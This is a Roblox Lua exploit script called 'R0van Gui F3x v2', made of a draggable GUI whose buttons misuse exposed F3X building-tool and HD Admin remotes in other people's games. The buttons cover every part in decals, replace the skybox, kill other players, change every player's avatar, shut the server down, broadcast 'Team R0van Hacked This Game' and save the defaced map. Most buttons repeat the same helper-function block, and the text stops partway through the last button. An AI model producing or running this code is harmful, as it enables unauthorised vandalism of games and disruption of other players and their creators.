
Key RequiredUniversal

local LMG2L = {}
LMG2L["ScreenGui_1"] = Instance.new("ScreenGui")
LMG2L["ScreenGui_1"].Parent = game:GetService("CoreGui")
LMG2L["ScreenGui_1"].ZIndexBehavior = Enum.ZIndexBehavior.Sibling
LMG2L["ScreenGui_1"].ResetOnSpawn = false
LMG2L["Frame_2"] = Instance.new("Frame", LMG2L["ScreenGui_1"]);
LMG2L["Frame_2"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
LMG2L["Frame_2"]["Size"] = UDim2.new(0, 658, 0, 400);
LMG2L["Frame_2"]["Position"] = UDim2.new(0, 76, 0, -26);
LMG2L["Frame_2"]["BorderColor3"] = Color3.fromRGB(58, 247, 255);
local UIS = game:GetService("UserInputService")
local frame = LMG2L["Frame_2"]
local dragging = false
local dragStart
local startPos
local function update(input)
local delta = input.Position - dragStart
frame.Position = UDim2.new(
startPos.X.Scale,
startPos.X.Offset + delta.X,
startPos.Y.Scale,
startPos.Y.Offset + delta.Y
)
end
frame.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1
or input.UserInputType == Enum.UserInputType.Touch then
dragging = true
dragStart = input.Position
startPos = frame.Position
input.Changed:Connect(function()
if input.UserInputState == Enum.UserInputState.End then
dragging = false
end
end)
end
end)
frame.InputChanged:Connect(function(input)
if dragging and (
input.UserInputType == Enum.UserInputType.MouseMovement
or input.UserInputType == Enum.UserInputType.Touch
) then
update(input)
end
end)
UIS.InputChanged:Connect(function(input)
if dragging and (
input.UserInputType == Enum.UserInputType.MouseMovement
or input.UserInputType == Enum.UserInputType.Touch
) then
update(input)
end
end)
LMG2L["Decal _3"] = Instance.new("TextButton", LMG2L["Frame_2"]);
LMG2L["Decal _3"]["TextColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Decal _3"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
LMG2L["Decal _3"]["Size"] = UDim2.new(0, 150, 0, 36);
LMG2L["Decal _3"]["BorderColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Decal _3"]["Text"] = [[Decal]];
LMG2L["Decal _3"]["Name"] = [[Decal ]];
LMG2L["Decal _3"]["Position"] = UDim2.new(0, 178, 0, 86);
LMG2L["Decal _3"].MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function spam(id)
for i,v in game.workspace:GetDescendants() do
if v:IsA("BasePart") then
spawn(function()
SetLocked(v,false)
SpawnDecal(v,Enum.NormalId.Front)
AddDecal(v,id,Enum.NormalId.Front)
SpawnDecal(v,Enum.NormalId.Back)
AddDecal(v,id,Enum.NormalId.Back)
SpawnDecal(v,Enum.NormalId.Right)
AddDecal(v,id,Enum.NormalId.Right)
SpawnDecal(v,Enum.NormalId.Left)
AddDecal(v,id,Enum.NormalId.Left)
SpawnDecal(v,Enum.NormalId.Bottom)
AddDecal(v,id,Enum.NormalId.Bottom)
SpawnDecal(v,Enum.NormalId.Top)
AddDecal(v,id,Enum.NormalId.Top)
end)
end
end
end
spam("129040246467134")
end)
LMG2L["Chance Name _4"] = Instance.new("TextButton", LMG2L["Frame_2"]);
LMG2L["Chance Name _4"]["TextColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Chance Name _4"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
LMG2L["Chance Name _4"]["Size"] = UDim2.new(0, 144, 0, 36);
LMG2L["Chance Name _4"]["BorderColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Chance Name _4"]["Text"] = [[Chance Name]];
LMG2L["Chance Name _4"]["Name"] = [[Chance Name ]];
LMG2L["Chance Name _4"]["Position"] = UDim2.new(0, 494, 0, 220);
LMG2L["Chance Name _4"].MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";titleb me R0van")
end)
LMG2L["Hint _5"] = Instance.new("TextButton", LMG2L["Frame_2"]);
LMG2L["Hint _5"]["TextColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Hint _5"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
LMG2L["Hint _5"]["Size"] = UDim2.new(0, 150, 0, 36);
LMG2L["Hint _5"]["BorderColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Hint _5"]["Text"] = [[Hint]];
LMG2L["Hint _5"]["Name"] = [[Hint ]];
LMG2L["Hint _5"]["Position"] = UDim2.new(0, 20, 0, 132);
LMG2L["Hint _5"].MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";hb Team R0van Hacked This Game LoL😱👌")
end)
LMG2L["R6_6"] = Instance.new("TextButton", LMG2L["Frame_2"]);
LMG2L["R6_6"]["TextColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["R6_6"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
LMG2L["R6_6"]["Size"] = UDim2.new(0, 40, 0, 36);
LMG2L["R6_6"]["BorderColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["R6_6"]["Text"] = [[R6]];
LMG2L["R6_6"]["Name"] = [[R6]];
LMG2L["R6_6"].MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";r6")
end)
LMG2L["R0van Theme _7"] = Instance.new("TextButton", LMG2L["Frame_2"]);
LMG2L["R0van Theme _7"]["TextColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["R0van Theme _7"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
LMG2L["R0van Theme _7"]["Size"] = UDim2.new(0, 76, 0, 40);
LMG2L["R0van Theme _7"]["BorderColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["R0van Theme _7"]["Text"] = [[R0van Theme ]];
LMG2L["R0van Theme _7"]["Name"] = [[R0van Theme ]];
LMG2L["R0van Theme _7"]["Position"] = UDim2.new(0, 582, 0, 0);
LMG2L["R0van Theme _7"].MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";music 127653283576622")
end)
LMG2L["TextLabel_8"] = Instance.new("TextLabel", LMG2L["Frame_2"]);
LMG2L["TextLabel_8"]["BorderSizePixel"] = 0;
LMG2L["TextLabel_8"]["TextSize"] = 16;
LMG2L["TextLabel_8"]["BackgroundColor3"] = Color3.fromRGB(4, 4, 4);
LMG2L["TextLabel_8"]["TextColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["TextLabel_8"]["Size"] = UDim2.new(0, 292, 0, 64);
LMG2L["TextLabel_8"]["Text"] = [[R0van Gui F3x v2]];
LMG2L["TextLabel_8"]["Position"] = UDim2.new(0, 170, 0, 8);
LMG2L["Shutdown _9"] = Instance.new("TextButton", LMG2L["Frame_2"]);
LMG2L["Shutdown _9"]["TextColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Shutdown _9"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
LMG2L["Shutdown _9"]["Size"] = UDim2.new(0, 144, 0, 36);
LMG2L["Shutdown _9"]["BorderColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Shutdown _9"]["Text"] = [[Shutdown ]];
LMG2L["Shutdown _9"]["Name"] = [[Shutdown ]];
LMG2L["Shutdown _9"]["Position"] = UDim2.new(0, 494, 0, 176);
LMG2L["Shutdown _9"].MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";shutdown")
end)
LMG2L["Avatar All_a"] = Instance.new("TextButton", LMG2L["Frame_2"]);
LMG2L["Avatar All_a"]["TextColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Avatar All_a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
LMG2L["Avatar All_a"]["Size"] = UDim2.new(0, 150, 0, 36);
LMG2L["Avatar All_a"]["BorderColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Avatar All_a"]["Text"] = [[Avatar All ]];
LMG2L["Avatar All_a"]["Name"] = [[Avatar All]];
LMG2L["Avatar All_a"]["Position"] = UDim2.new(0, 178, 0, 220);
LMG2L["Avatar All_a"].MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";char all RevanNurdiansyahs")
end)
LMG2L["Mario Exe _b"] = Instance.new("TextButton", LMG2L["Frame_2"]);
LMG2L["Mario Exe _b"]["TextColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Mario Exe _b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
LMG2L["Mario Exe _b"]["Size"] = UDim2.new(0, 150, 0, 36);
LMG2L["Mario Exe _b"]["BorderColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Mario Exe _b"]["Text"] = [[Mario Exe]];
LMG2L["Mario Exe _b"]["Name"] = [[Mario Exe ]];
LMG2L["Mario Exe _b"]["Position"] = UDim2.new(0, 20, 0, 220);
LMG2L["Mario Exe _b"].MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";music 1332644289")
RequestCommand:InvokeServer(";pitch 0.9")
RequestCommand:InvokeServer(";volume inf")
wait(4.8)
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";music 133180219581309")
RequestCommand:InvokeServer(";pitch 0.11")
RequestCommand:InvokeServer(";volume inf")
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function spam(id)
for i,v in game.workspace:GetDescendants() do
if v:IsA("BasePart") then
spawn(function()
SetLocked(v,false)
SpawnDecal(v,Enum.NormalId.Front)
AddDecal(v,id,Enum.NormalId.Front)
SpawnDecal(v,Enum.NormalId.Back)
AddDecal(v,id,Enum.NormalId.Back)
SpawnDecal(v,Enum.NormalId.Right)
AddDecal(v,id,Enum.NormalId.Right)
SpawnDecal(v,Enum.NormalId.Left)
AddDecal(v,id,Enum.NormalId.Left)
SpawnDecal(v,Enum.NormalId.Bottom)
AddDecal(v,id,Enum.NormalId.Bottom)
SpawnDecal(v,Enum.NormalId.Top)
AddDecal(v,id,Enum.NormalId.Top)
end)
end
end
end
spam("137939198058148")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";time 17")
wait (1)
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function Sky(id)
e = char.HumanoidRootPart.CFrame.x
f = char.HumanoidRootPart.CFrame.y
g = char.HumanoidRootPart.CFrame.z
CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace)
for i,v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
--spawn(function()
SetName(v,"Sky")
AddMesh(v)
--end)
--spawn(function()
SetMesh(v,"111891702759441")
SetTexture(v,id)
--end)
MeshResize(v,Vector3.new(99999,99999,99999))
SetLocked(v,true)
end
end
end
Sky("110039808033753")
wait (0.5)
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";fogcolor black")
RequestCommand:InvokeServer(";savemap")
end)
LMG2L["Kill Other_c"] = Instance.new("TextButton", LMG2L["Frame_2"]);
LMG2L["Kill Other_c"]["TextColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Kill Other_c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
LMG2L["Kill Other_c"]["Size"] = UDim2.new(0, 150, 0, 36);
LMG2L["Kill Other_c"]["BorderColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Kill Other_c"]["Text"] = [[Kill Other]];
LMG2L["Kill Other_c"]["Name"] = [[Kill Other]];
LMG2L["Kill Other_c"]["Position"] = UDim2.new(0, 178, 0, 176);
LMG2L["Kill Other_c"].MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";kill other")
end)
LMG2L["Backd0orrxrt Skybox _d"] = Instance.new("TextButton", LMG2L["Frame_2"]);
LMG2L["Backd0orrxrt Skybox _d"]["TextColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Backd0orrxrt Skybox _d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
LMG2L["Backd0orrxrt Skybox _d"]["Size"] = UDim2.new(0, 150, 0, 36);
LMG2L["Backd0orrxrt Skybox _d"]["BorderColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Backd0orrxrt Skybox _d"]["Text"] = [[Backd0orrxrt Skybox ]];
LMG2L["Backd0orrxrt Skybox _d"]["Name"] = [[Backd0orrxrt Skybox ]];
LMG2L["Backd0orrxrt Skybox _d"]["Position"] = UDim2.new(0, 336, 0, 132);
LMG2L["Backd0orrxrt Skybox _d"].MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color,
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function Sky(id)
local root = char:WaitForChild("HumanoidRootPart")
local pos = root.CFrame + Vector3.new(0, 6, 0)
CreatePart(pos, workspace)
task.wait(0.2)
local skyPart
for _, v in workspace:GetChildren() do
if v:IsA("BasePart") and (v.Position - pos.Position).magnitude < 1 then
skyPart = v
break
end
end
if skyPart then
SetName(skyPart, "Sky")
AddMesh(skyPart)
SetMesh(skyPart, "111891702759441")
SetTexture(skyPart, id)
MeshResize(skyPart, Vector3.new(1000, 1000, 1000))
SetLocked(skyPart, true)
SetAnchor(true, skyPart)
end
end
Sky("96136315502110")
end)
LMG2L["Disco_e"] = Instance.new("TextButton", LMG2L["Frame_2"]);
LMG2L["Disco_e"]["TextColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Disco_e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
LMG2L["Disco_e"]["Size"] = UDim2.new(0, 150, 0, 36);
LMG2L["Disco_e"]["BorderColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Disco_e"]["Text"] = [[Disco ]];
LMG2L["Disco_e"]["Name"] = [[Disco]];
LMG2L["Disco_e"]["Position"] = UDim2.new(0, 336, 0, 220);
LMG2L["Disco_e"].MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";disco")
end)
LMG2L["Backd0orrxrt Decal_f"] = Instance.new("TextButton", LMG2L["Frame_2"]);
LMG2L["Backd0orrxrt Decal_f"]["TextColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Backd0orrxrt Decal_f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
LMG2L["Backd0orrxrt Decal_f"]["Size"] = UDim2.new(0, 144, 0, 36);
LMG2L["Backd0orrxrt Decal_f"]["BorderColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Backd0orrxrt Decal_f"]["Text"] = [[Backd0orrxrt Decal ]];
LMG2L["Backd0orrxrt Decal_f"]["Name"] = [[Backd0orrxrt Decal]];
LMG2L["Backd0orrxrt Decal_f"]["Position"] = UDim2.new(0, 494, 0, 132);
LMG2L["Backd0orrxrt Decal_f"].MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
